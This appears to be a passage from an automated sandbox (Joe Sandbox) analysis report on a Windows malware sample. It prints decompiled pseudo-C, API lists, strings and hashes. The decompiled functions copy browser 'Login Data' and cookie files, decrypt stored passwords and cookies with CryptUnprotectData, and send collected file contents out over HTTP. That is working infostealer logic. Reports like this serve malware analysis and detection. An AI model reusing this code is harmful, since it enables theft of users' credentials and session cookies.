											_t331 = _v36;
											goto L43;
										}
										while(1) {
											_push( &_v32);
											_push(0xc350);
											_push(_t224);
											_push(_t323);
											if( *((intOrPtr*)( *0x40e0fc))() == 0) {
												goto L42;
											}
											_t174 = _v32;
											if(_t174 == 0) {
												goto L42;
											}
											 *((char*)(_t224 + _t174)) = 0;
										}
										goto L42;
									}
								}
								_t226 = _a12;
								_t338 = _a16 + 4;
								do {
									_t178 =  *((intOrPtr*)( *0x40e14c))( *_t338, 0);
									_v36 = _t178;
									_t49 = _t178 + 0x400; // 0x400
									_t179 =  *((intOrPtr*)( *0x40e044))(0x40, _t49);
									_t293 =  *0x40e3dc; // 0x754c60
									_t180 = E0040A55D(_t179, _t293);
									_t294 =  *0x40e43c; // 0x754d40
									_t182 = E0040A55D(E0040A55D(_t180, _t294), _v20);
									_t296 =  *0x40e3dc; // 0x754c60
									_t183 = E0040A55D(_t182, _t296);
									_t297 =  *0x40e444; // 0x750190
									_t186 = E0040A55D(E0040A55D(E0040A55D(_t183, _t297),  *(_t338 - 4)), "\"");
									_t300 =  *0x40e3dc; // 0x754c60
									_t187 = E0040A55D(_t186, _t300);
									_t301 =  *0x40e3f0; // 0x748620
									_t188 = E0040A55D(_t187, _t301);
									_t302 =  *0x40e3dc; // 0x754c60
									_t189 = E0040A55D(_t188, _t302);
									_t303 =  *0x40e3dc; // 0x754c60
									_t190 = E0040A55D(_t189, _t303);
									_v16 = _t190;
									_t191 =  *((intOrPtr*)( *0x40e198))(_t190);
									_v8 = _t191;
									_t54 = _t191 + 1; // 0x1
									_push(_v16);
									_push(_t320);
									if( *((intOrPtr*)( *0x40e004))() != 0) {
										_t320 = _t320 + _v8;
										if( *_t338 != 0) {
											_t198 = ReadFile( *_t338, _t320, _v36,  &_v40, 0); // executed
											if(_t198 != 0) {
												_t320 = _t320 + _v40;
											}
											CloseHandle( *_t338);
										}
									}
									if( *(_t338 - 4) != 0) {
										LocalFree( *(_t338 - 4));
									}
									if(_t338[1] != 0) {
										DeleteFileW(_t338[1]); // executed
										LocalFree(_t338[1]);
									}
									LocalFree(_v16);
									_t338 =  &(_t338[4]);
									_t226 = _t226 - 1;
								} while (_t226 != 0);
								_t224 = _v24;
								goto L32;
							}
							_push(0);
							_push(0);
							_push(_t124);
							_push(_t329);
							_push(0xffffffff);
							_push(_v8);
							_push(0);
							_push(0xfde9);
							if( *((intOrPtr*)( *0x40e0e4))() != 0) {
								_push(_t329);
								if( *((intOrPtr*)( *0x40e198))() > 0) {
									_push(_v16);
									_push(_t329);
									_push(_v12);
									if( *((intOrPtr*)( *0x40e004))() != 0) {
										_t320 = _v16 - 1 + _v12;
									}
								}
								goto L19;
							}
							LocalFree(_v8);
							LocalFree(_t224);
							LocalFree(_t329);
							LocalFree(_v28);
							goto L14;
						} else {
							_t227 = _a8;
							_v16 = _t319;
							_t326 = _t119;
							do {
								_t209 = E0040A4C2(_v20);
								_t306 =  *0x40e3f8; // 0x735b60
								_t339 = _t209; // executed
								_t210 = E0040A503(_t326, _t306); // executed
								_t211 = E0040A503(_t210, _t339);
								_t308 =  *0x40e350; // 0x735b40
								_t212 = E0040A503(_t211, _t308);
								_t309 =  *0x40e340; // 0x756260
								_t215 = E0040A503(E0040A503(E0040A503(_t212, _t309),  *_t227), "\"");
								_t312 =  *0x40e350; // 0x735b40
								_t216 = E0040A503(_t215, _t312);
								_t313 =  *0x40e35c; // 0x756200
								_t217 = E0040A503(_t216, _t313);
								_t314 =  *0x40e350; // 0x735b40
								_t218 = E0040A503(_t217, _t314);
								_t315 =  *0x40e350; // 0x735b40
								_t220 = E0040A503(E0040A503(_t218, _t315),  *((intOrPtr*)(_t227 + 4)));
								_t317 =  *0x40e350; // 0x735b40
								_t221 = E0040A503(_t220, _t317); // executed
								_t326 = _t221;
								LocalFree(_t339);
								_t25 =  &_v16;
								 *_t25 = _v16 - 1;
								_t227 = _t227 + 0xc;
							} while ( *_t25 != 0);
							_t224 = _v24;
							_v8 = _t326;
							_t319 = _a4;
							goto L11;
						}
					} else {
						_t223 = 0;
						do {
							_t282 = _t282 + 1;
							 *(_t223 + _t318) = _t229;
							_t223 = _t282 + _t282;
							_t229 =  *(_t223 + _t328) & 0x0000ffff;
						} while (_t229 != _v16);
						goto L7;
					}
				}
			}

0x00407ef0
0x00407ef3
0x00407ef5
0x00407ef7
0x00407efd
0x00407f06
0x00407f0f
0x00407f11
0x00407f14
0x004080f3
0x00000000
0x004080f3
0x00407f1c
0x00407f21
0x00000000
0x00407f3c
0x00407f3c
0x00407f46
0x00407f4f
0x00407f51
0x00407f58
0x00407f5a
0x00407f5a
0x00407f5d
0x00407f60
0x00407f66
0x00407f7c
0x00407f82
0x00407f84
0x00407f90
0x00407f9b
0x00407f9d
0x00407fa2
0x00408069
0x0040808f
0x00408092
0x00408097
0x004080a8
0x004080aa
0x004080ad
0x004080af
0x004080b4
0x0040811f
0x00408122
0x00408129
0x00408133
0x00408275
0x00408281
0x00408283
0x0040828b
0x00408290
0x004082a2
0x004082a7
0x004082af
0x004082c1
0x004082c7
0x004082c8
0x004082cb
0x004082d0
0x004082dc
0x004082dc
0x004082e1
0x004082f2
0x004082f5
0x00408304
0x0040830f
0x00408312
0x00408321
0x00408329
0x00408406
0x0040842a
0x0040842c
0x0040842f
0x00408435
0x0040843a
0x0040843e
0x0040845d
0x00408464
0x00408464
0x0040846b
0x0040846e
0x0040846e
0x00408477
0x0040847e
0x00408487
0x00000000
0x0040832f
0x0040834d
0x00408350
0x00408358
0x0040835a
0x0040835f
0x004083ff
0x00408400
0x00000000
0x00408400
0x00408365
0x00408379
0x00408380
0x00408396
0x00408398
0x0040839b
0x004083a0
0x004083f6
0x004083f9
0x00000000
0x004083f9
0x004083a2
0x004083b8
0x004083ba
0x004083c6
0x004083ec
0x004083ed
0x004083f3
0x00000000
0x004083f3
0x004083da
0x004083e2
0x004083e3
0x004083e4
0x004083e5
0x004083ea
0x00000000
0x00000000
0x004083cf
0x004083d4
0x00000000
0x00000000
0x004083d6
0x004083d6
0x00000000
0x004083da
0x00408329
0x0040813c
0x0040813f
0x00408142
0x0040814b
0x00408153
0x00408156
0x0040815f
0x00408161
0x00408169
0x0040816e
0x00408180
0x00408185
0x0040818d
0x00408192
0x004081b0
0x004081b5
0x004081bd
0x004081c2
0x004081ca
0x004081cf
0x004081d7
0x004081dc
0x004081e4
0x004081f0
0x004081f3
0x004081fb
0x004081fe
0x00408202
0x00408205
0x0040820a
0x0040820c
0x00408212
0x00408225
0x00408229
0x0040822b
0x0040822b
0x00408230
0x00408230
0x00408212
0x0040823a
0x0040823f
0x0040823f
0x00408249
0x0040824e
0x00408257
0x00408257
0x00408260
0x00408266
0x00408269
0x00408269
0x00408272
0x00000000
0x00408272
0x004080be
0x004080bf
0x004080c0
0x004080c1
0x004080c2
0x004080c4
0x004080c7
0x004080c8
0x004080d1
0x004080ff
0x00408104
0x00408106
0x0040810e
0x0040810f
0x00408116
0x0040811c
0x0040811c
0x00408116
0x00000000
0x00408104
0x004080d6
0x004080dd
0x004080e4
0x004080ed
0x00000000
0x00407fa8
0x00407fa8
0x00407fab
0x00407fae
0x00407fb0
0x00407fb3
0x00407fb8
0x00407fc0
0x00407fc2
0x00407fcb
0x00407fd0
0x00407fd8
0x00407fdd
0x00407ffa
0x00407fff
0x00408007
0x0040800c
0x00408014
0x00408019
0x00408021
0x00408026
0x00408038
0x0040803d
0x00408045
0x0040804b
0x0040804d
0x00408053
0x00408053
0x00408057
0x00408057
0x00408060
0x00408063
0x00408066
0x00000000
0x00408066
0x00407f68
0x00407f68
0x00407f6a
0x00407f6a
0x00407f6b
0x00407f6f
0x00407f72
0x00407f76
0x00000000
0x00407f6a
0x00407f66

APIs

LocalAlloc.KERNEL32(00000040,0000C350,?,00000000,00000001,?,?,?,?,?,00409B89,00000001,?,00000000,00000000,?), ref: 00407EF5
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 00407F9B
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 0040804D
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 00408092
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 004080A8
LocalFree.KERNEL32(?,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 004080D6
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 004080DD
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 004080E4
LocalFree.KERNEL32(00000001,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 004080ED
LocalFree.KERNEL32(?,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 00408122
LocalFree.KERNELBASE(00000000,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 00408129
ReadFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,00409B89,00000001,?), ref: 00408225
CloseHandle.KERNEL32(?,?,?,?,?,?,00409B89,00000001,?), ref: 00408230
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?), ref: 0040823F
DeleteFileW.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?), ref: 0040824E
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?), ref: 00408257
LocalFree.KERNEL32(0000002F,?,?,?,?,?,00409B89,00000001,?), ref: 00408260
lstrcpyn.KERNEL32(00000000,00000000,00000001,?,?,?,?,?,00409B89,00000001,?), ref: 004082CC
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?), ref: 004082E1
InternetSetOptionW.WININET(00000000,00000006,?,00000004), ref: 00408312
InternetSetOptionW.WININET(00000000,00000005,?,00000004), ref: 00408321
HttpOpenRequestW.WININET(00000000,?,00000000,00000000,00409B89,00C00000,00000001), ref: 00408396
HttpSendRequestW.WININET(?,00000001,00000000), ref: 004083C2
InternetCloseHandle.WININET(?), ref: 004083ED
InternetCloseHandle.WININET(00000000), ref: 004083F9
InternetCloseHandle.WININET(00000000), ref: 00408400
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001,?,?,?,?,?,00409B89,00000001,?), ref: 00408422
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001,?,?,?,?,?,00409B89,00000001,?), ref: 0040845D
LocalFree.KERNEL32(00000000,?,?,?,?,?,00409B89,00000001,?), ref: 0040846E
LocalFree.KERNEL32(00000001,?,?,?,?,?,00409B89,00000001,?), ref: 00408477
LocalFree.KERNELBASE(00000000,?,?,?,?,?,00409B89,00000001,?), ref: 0040847E
LocalFree.KERNELBASE(?,?,?,?,?,?,00409B89,00000001,?), ref: 00408487

Strings

pR"p, xrefs: 00408312, 00408321
`[s, xrefs: 00407FB8
`bu, xrefs: 00407FDD
@Mu, xrefs: 0040816E, 00408290, 004082A7
/, xrefs: 00407F51
@[s, xrefs: 00407FD0, 00407FFF, 00408019, 00408026, 0040803D
`Lu, xrefs: 00408161, 00408185, 004081B5, 004081CF, 004081DC, 00408283
rqwrwqrqwrqw, xrefs: 004082FD

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$Free$Internet$AllocCloseHandle$ByteCharFileHttpMultiOptionRequestWide$DeleteOpenReadSendlstrcpyn
String ID: /$@Mu$@[s$`Lu$`[s$`bu$pR"p$rqwrwqrqwrqw
API String ID: 1267997246-409186987
Opcode ID: aafd5879307a66afce12fd9e369e4241c6591ad45258ee02a5c42afa5d3d6cc8
Instruction ID: 6c99c45f28bfee67641de8d5d70fad00062f969ed25daf8f75b78222567e1072
Opcode Fuzzy Hash: aafd5879307a66afce12fd9e369e4241c6591ad45258ee02a5c42afa5d3d6cc8
Instruction Fuzzy Hash: 84029F71A00215AFDF04EFB6DE45E6E77B5FB88300F008839E915B7290DB78AD118B68

Uniqueness

Uniqueness Score: -1.00%

Function 004027B8 Relevance: 52.9, APIs: 25, Strings: 5, Instructions: 419
filememoryencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 26%

			E004027B8(intOrPtr* __ecx, intOrPtr* __edx, void* __eflags, intOrPtr _a8, intOrPtr _a12, char _a16) {
				signed int _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				void* _v16;
				WCHAR* _v20;
				void* _v24;
				signed int _v28;
				void* _v32;
				void* _v36;
				intOrPtr _v40;
				intOrPtr* _v44;
				void* _v48;
				char _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				char _v72;
				void* _v76;
				char _v80;
				void* _v84;
				char _v88;
				void* _t103;
				void* _t104;
				void* _t115;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;
				void* _t134;
				void* _t135;
				void* _t137;
				int _t142;
				void* _t144;
				void* _t146;
				void* _t153;
				void* _t154;
				signed int _t155;
				intOrPtr _t157;
				intOrPtr _t158;
				void* _t160;
				void* _t161;
				WCHAR* _t165;
				void* _t173;
				void* _t174;
				int _t175;
				void* _t184;
				int _t185;
				void* _t190;
				void* _t199;
				intOrPtr* _t203;
				void* _t204;
				intOrPtr* _t205;
				void* _t253;
				signed int _t255;
				void* _t258;
				void* _t259;
				void* _t260;
				char _t261;
				void* _t263;
				void* _t265;
				signed int _t266;
				void* _t267;
				intOrPtr* _t270;
				void* _t271;

				_t203 = __edx;
				_v44 = __ecx;
				_t103 = LocalAlloc(0x40, 0x400); // executed
				_t104 =  *((intOrPtr*)( *0x40e13c))(_t103, _a12);
				_v8 = _v8 & 0x00000000;
				_t253 = _t104;
				E004017FA(_t253,  &_v8,  &_v52);
				 *_t270 = 0x200;
				_t259 =  *((intOrPtr*)( *0x40e044))(0x40);
				_v48 = _t259;
				E00401934(_v8,  &_v48,  *0x40e044, _v52);
				_v28 = _v28 & 0x00000000;
				_v60 = _t259;
				_v64 = 0x200;
				_t260 =  *((intOrPtr*)( *0x40e044))(0x40, 0x400);
				_v24 = _t260;
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				_t115 =  *((intOrPtr*)( *0x40e0b0))( &_v64,  &_v28, 0, 0, 0, 0,  &_v72); // executed
				if(_t115 != 0) {
					_t199 = E0040177F(_v68,  &_v24, _v72);
					_t260 = _v24;
					if(_t199 != 0) {
						 *_t203 =  *((intOrPtr*)( *0x40e13c))( *_t203, _t260);
					}
				}
				if(_v28 != 0) {
					LocalFree(_v28);
				}
				if(_v60 != 0) {
					LocalFree(_v60);
				}
				if(_v68 != 0) {
					LocalFree(_v68);
				}
				if(_t260 != 0) {
					LocalFree(_t260);
				}
				if(_t253 != 0) {
					LocalFree(_t253);
				}
				_t261 = _a16;
				if(_t261 == 0) {
					L57:
					return 0;
				} else {
					_t118 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e1c4);
					 *0x40e4d4 = _t118;
					_t120 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e1f8);
					 *0x40e4c8 = _t120;
					_t122 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e1e0);
					 *0x40e4bc = _t122;
					_t124 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e208);
					 *0x40e4c4 = _t124;
					_t126 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e230);
					 *0x40e4cc = _t126;
					_t128 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e1c0);
					 *0x40e4b8 = _t128;
					_t130 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e224);
					 *0x40e4c0 = _t130;
					 *0x40e4d0 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e1b0);
					_t134 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
					_t135 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
					_v32 = _t135;
					_t263 =  *((intOrPtr*)( *0x40e000))(_t134, _a8, L"Login Data");
					_v56 = _t263;
					_t137 = E0040A69E( *0x40e000,  &_v32);
					_t204 = _v32;
					if(_t137 == 0) {
						L59:
						LocalFree(_t263);
						DeleteFileW(_t204);
						return LocalFree(_t204) | 0xffffffff;
					}
					_t142 = CopyFileW(_t263, _t204, 0); // executed
					if(_t142 == 0) {
						goto L59;
					}
					_t144 =  *0x40e4c8(_t204,  &_v24); // executed
					if(_t144 == 0) {
						if(_v24 != 0) {
							_t146 =  *0x40e4d4(_v24,  *0x40e1fc, 0xffffffff,  &_a16, 0); // executed
							_t271 = _t270 + 0x14;
							if(_t146 == 0) {
								_push(_a16);
								if( *0x40e4cc() != 0x64) {
									L53:
									if(_t263 != 0) {
										LocalFree(_t263);
									}
									 *0x40e4bc(_a16);
									 *0x40e4c4(_v24); // executed
									DeleteFileW(_t204); // executed
									if(_t204 != 0) {
										LocalFree(_t204);
									}
									goto L57;
								}
								_t205 = _v44;
								do {
									_t153 =  *0x40e4c0(_a16, 0);
									_t154 =  *0x40e4c0(_a16, 1);
									_v48 = _t154;
									_t155 =  *0x40e4c0(_a16, 2);
									_t271 = _t271 + 0x18;
									_t255 = _t155;
									if(_t153 >= 1 && (_v48 >= 1 || _t255 >= 1)) {
										_t157 =  *0x40e4b8(_a16, 0);
										_v44 = _t157;
										_t158 =  *0x40e4b8(_a16, 1);
										_t271 = _t271 + 0x10;
										_v40 = _t158;
										if(_t255 <= 0) {
											goto L51;
										}
										_t265 =  *0x40e4d0(_a16, 2);
										_t54 = _t255 + 0x40; // 0x40
										_v36 = _t265;
										_t160 =  *((intOrPtr*)( *0x40e044))(0x40, _t54);
										_t161 =  *((intOrPtr*)( *0x40e050))(_t160, _t265);
										_v48 = _t161;
										_v12 =  *_t161;
										_v11 =  *((intOrPtr*)(_t161 + 1));
										_v10 =  *((intOrPtr*)(_t161 + 2));
										_v9 = 0;
										if(_t265 == 0) {
											L50:
											LocalFree(_t161);
											goto L51;
										}
										_t266 =  *((intOrPtr*)( *0x40e044))(0x40, 0x2000);
										_t165 =  *0x40e1a4; // 0x74d708
										_v20 = _t165;
										_push("v10");
										_push( &_v12);
										_v8 = _t266;
										if( *((intOrPtr*)( *0x40e084))() != 0) {
											_push( &_v80);
											_v84 = _v36;
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											_v88 = 0x200;
											_push( &_v88);
											if( *((intOrPtr*)( *0x40e0b0))() == 0) {
												_t267 = _v8;
												L47:
												if(_t267 != 0) {
													LocalFree(_t267);
												}
												_t161 = _v48;
												goto L50;
											}
											 *((char*)(_v80 + _v76)) = 0;
											_t173 = E0040A4C2(_v76);
											_v36 = _t173;
											_t174 =  *((intOrPtr*)( *0x40e0ec))(_t266, _v20, _v44, _v40, _t173);
											_t271 = _t271 + 0x14;
											_t175 = lstrlenW(_v20);
											_t267 = _v8;
											if(_t174 >= _t175) {
												 *_t205 = E0040A503( *_t205, _t267);
											}
											if(_v76 != 0) {
												LocalFree(_v76);
											}
											LocalFree(_v36);
											L39:
											goto L47;
										}
										_v16 =  *((intOrPtr*)( *0x40e044))(0x40, _t255 << 2);
										if(E0040177F(_v36,  &_v16, _t255) == 0) {
											_t267 = _v8;
										} else {
											_t184 =  *((intOrPtr*)( *0x40e0ec))(_t266, _v20, _v44, _v40, _v16);
											_t271 = _t271 + 0x14;
											_t185 = lstrlenW(_v20);
											_t267 = _v8;
											if(_t184 >= _t185) {
												 *_t205 = E0040A503( *_t205, _t267);
											}
										}
										if(_v16 == 0) {
											goto L47;
										} else {
											LocalFree(_v16);
											goto L39;
										}
									}
									L51:
									_push(_a16);
								} while ( *0x40e4cc() == 0x64);
								_t204 = _v32;
								_t263 = _v56;
								goto L53;
							}
							LocalFree(_t263);
							LocalFree(_t204);
							 *0x40e4c4(_v24);
							_t190 = 0xfffffffd;
							return _t190;
						}
						_t258 = 0xfffffffe;
						L22:
						LocalFree(_t263);
						LocalFree(_t204);
						return _t258;
					}
					_t258 = 0xffffffffffffffff;
					goto L22;
				}
			}

0x004027cd
0x004027cf
0x004027d2
0x004027de
0x004027e0
0x004027e7
0x004027ef
0x004027fa
0x00402808
0x00402811
0x00402814
0x0040281e
0x0040282b
0x0040282e
0x0040283b
0x0040283d
0x00402840
0x00402845
0x00402845
0x00402863
0x00402867
0x00402872
0x00402877
0x0040287d
0x00402889
0x00402889
0x0040287d
0x0040288f
0x00402894
0x00402894
0x0040289e
0x004028a3
0x004028a3
0x004028ad
0x004028b2
0x004028b2
0x004028ba
0x004028bd
0x004028bd
0x004028c5
0x004028c8
0x004028c8
0x004028ce
0x004028d3
0x00402c97
0x00000000
0x004028d9
0x004028e5
0x004028ed
0x004028f8
0x00402900
0x0040290b
0x00402913
0x0040291e
0x00402926
0x00402931
0x00402939
0x00402944
0x0040294c
0x00402957
0x0040295f
0x00402971
0x0040297e
0x0040298b
0x0040299b
0x004029a1
0x004029a6
0x004029a9
0x004029ae
0x004029b3
0x00402c9e
0x00402c9f
0x00402ca6
0x00000000
0x00402cb3
0x004029c3
0x004029c7
0x00000000
0x00000000
0x004029d2
0x004029dc
0x004029e7
0x00402a12
0x00402a18
0x00402a1d
0x00402a3f
0x00402a4c
0x00402c66
0x00402c68
0x00402c6b
0x00402c6b
0x00402c74
0x00402c7d
0x00402c86
0x00402c8e
0x00402c91
0x00402c91
0x00000000
0x00402c8e
0x00402a52
0x00402a55
0x00402a5a
0x00402a67
0x00402a72
0x00402a75
0x00402a7b
0x00402a7e
0x00402a83
0x00402a9d
0x00402aa8
0x00402aab
0x00402ab1
0x00402ab4
0x00402ab9
0x00000000
0x00000000
0x00402ad0
0x00402ad4
0x00402ad7
0x00402add
0x00402ae7
0x00402ae9
0x00402aee
0x00402af4
0x00402afa
0x00402afd
0x00402b03
0x00402c46
0x00402c47
0x00000000
0x00402c47
0x00402b1d
0x00402b1f
0x00402b24
0x00402b2a
0x00402b2f
0x00402b30
0x00402b37
0x00402bb6
0x00402bb9
0x00402bc1
0x00402bc2
0x00402bc3
0x00402bc4
0x00402bc5
0x00402bc9
0x00402bd0
0x00402bd5
0x00402c35
0x00402c38
0x00402c3a
0x00402c3d
0x00402c3d
0x00402c43
0x00000000
0x00402c43
0x00402bdd
0x00402be1
0x00402bf6
0x00402c00
0x00402c02
0x00402c0a
0x00402c0e
0x00402c11
0x00402c1c
0x00402c1c
0x00402c22
0x00402c27
0x00402c27
0x00402ba5
0x00402ba5
0x00000000
0x00402ba5
0x00402b50
0x00402b5b
0x00402b95
0x00402b5d
0x00402b75
0x00402b77
0x00402b7f
0x00402b83
0x00402b86
0x00402b91
0x00402b91
0x00402b86
0x00402b9c
0x00000000
0x00402ba2
0x00402ba5
0x00000000
0x00402ba5
0x00402b9c
0x00402c4d
0x00402c4d
0x00402c57
0x00402c60
0x00402c63
0x00000000
0x00402c63
0x00402a20
0x00402a27
0x00402a30
0x00402a39
0x00000000
0x00402a39
0x004029eb
0x004029ec
0x004029ed
0x004029f4
0x00000000
0x004029fa
0x004029de
0x00000000
0x004029de

APIs

LocalAlloc.KERNEL32(00000040,00000400,?,?,00000000), ref: 004027D2
LocalFree.KERNEL32(00000000), ref: 00402845

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

CryptUnprotectData.CRYPT32(00000200,00000000,00000000,00000000,00000000,00000000,?), ref: 00402863
LocalFree.KERNEL32(00000000), ref: 00402894
LocalFree.KERNEL32(00000000), ref: 004028A3
LocalFree.KERNEL32(00000000), ref: 004028B2
LocalFree.KERNEL32(00000000), ref: 004028BD
LocalFree.KERNEL32(00000000), ref: 004028C8
CopyFileW.KERNEL32(00000000,?,00000000), ref: 004029C3
LocalFree.KERNEL32(00000000), ref: 004029ED
LocalFree.KERNEL32(?), ref: 004029F4
LocalFree.KERNEL32(00000000), ref: 00402A20
LocalFree.KERNEL32(?), ref: 00402A27
LocalFree.KERNEL32(00000000), ref: 00402C9F
DeleteFileW.KERNEL32(?), ref: 00402CA6
LocalFree.KERNEL32(?), ref: 00402CAD

Strings

Xs, xrefs: 00402933
Login Data, xrefs: 00402993
Xs, xrefs: 004028FA
v10, xrefs: 00402B2A
`Vs, xrefs: 004028D9

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$Free$File$AllocCopyCryptDataDeleteUnprotect
String ID: Xs$Login Data$`Vs$v10$Xs
API String ID: 2012866857-680055083
Opcode ID: e331a75e1731fd4ecb6253aaf8f91baeb70ae3a90a543f5c9c81847e5ae278c2
Instruction ID: 1f8185af0f1f67a55c4789a30ea30f5b3919f5d8761e9684d4856192d3457fc8
Opcode Fuzzy Hash: e331a75e1731fd4ecb6253aaf8f91baeb70ae3a90a543f5c9c81847e5ae278c2
Instruction Fuzzy Hash: 25F18071900225EFDB05DFA6DE48AAE7BB5FB08310F144935F515B72E0CBB89920CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00402CB8 Relevance: 51.2, APIs: 21, Strings: 8, Instructions: 440
filestringencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalFree.KERNEL32(00000000), ref: 00402D47

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

CryptUnprotectData.CRYPT32(00000200,00000000,00000000,00000000,00000000,00000000,?), ref: 00402D65
StrCpyW.SHLWAPI(?,?), ref: 00402D87
LocalFree.KERNEL32(00000000), ref: 00402D92
LocalFree.KERNEL32(00000000), ref: 00402DA1
LocalFree.KERNEL32(00000000), ref: 00402DB0
LocalFree.KERNEL32(00000000), ref: 00402DBF
LocalFree.KERNEL32(00000000), ref: 00402DCA
CopyFileW.KERNEL32(00000000,?,00000000), ref: 00402EE2
DeleteFileW.KERNEL32(?), ref: 00402F30
LocalFree.KERNEL32(?), ref: 00402F37
LocalFree.KERNEL32(00000000), ref: 00402F4F
wsprintfW.USER32 ref: 00403102
lstrlenW.KERNEL32(00000000), ref: 0040310C
wsprintfW.USER32 ref: 004031A6
lstrlenW.KERNEL32(00000000), ref: 004031B0
LocalFree.KERNEL32(00000000), ref: 004031CB
LocalFree.KERNEL32(?), ref: 004031D4
LocalFree.KERNEL32(00000000), ref: 004031E2
LocalFree.KERNEL32(00000000), ref: 004031EC
DeleteFileW.KERNEL32(?), ref: 00403223

Strings

Xs, xrefs: 00402E75
FALSE, xrefs: 004030E5, 00403191
Xs, xrefs: 00402E60
Cookies, xrefs: 00402DE9
TRUE, xrefs: 004030EA, 004030F5, 0040318C, 00403199
v10, xrefs: 0040308D
Network\Cookies, xrefs: 00402DE0
`Vs, xrefs: 00402E11

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$File$Deletelstrlenwsprintf$CopyCryptDataUnprotect
String ID: Xs$Cookies$FALSE$Network\Cookies$TRUE$`Vs$v10$Xs
API String ID: 1042736561-2936397341
Opcode ID: cb4b49c8d858d8dc12969dc26ee80fe5395de1f12ccb40e4059484e4599b5c3f
Instruction ID: 518071ebf78736c82c0705b89313a0bc18143e80e42b499cd2370e7bd490f6e3
Opcode Fuzzy Hash: cb4b49c8d858d8dc12969dc26ee80fe5395de1f12ccb40e4059484e4599b5c3f
Instruction Fuzzy Hash: A3024C71900219EFDF059FA2EE49AAE7BB5FB08301F104839E911B72A0D7759D20DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00403236 Relevance: 45.9, APIs: 24, Strings: 2, Instructions: 437
fileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 18%

			E00403236(intOrPtr* __ecx, intOrPtr* __edx, void* __eflags, intOrPtr _a8, intOrPtr _a12, char _a16) {
				signed int _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				void* _v16;
				WCHAR* _v20;
				void* _v24;
				signed int _v28;
				void* _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr* _v48;
				void* _v52;
				char _v56;
				void* _v60;
				void* _v64;
				char _v68;
				void* _v72;
				char _v76;
				void* _v80;
				char _v84;
				intOrPtr _v88;
				char _v92;
				void* _t107;
				void* _t108;
				void* _t119;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;
				intOrPtr _t132;
				intOrPtr _t134;
				void* _t138;
				void* _t139;
				void* _t141;
				int _t146;
				void* _t148;
				void* _t150;
				intOrPtr _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				signed int _t160;
				void* _t161;
				void* _t167;
				void* _t168;
				WCHAR* _t172;
				signed int _t179;
				void* _t180;
				int _t181;
				void* _t190;
				int _t191;
				void* _t196;
				void* _t205;
				intOrPtr* _t209;
				void* _t210;
				intOrPtr* _t211;
				void* _t265;
				void* _t268;
				intOrPtr _t269;
				void* _t273;
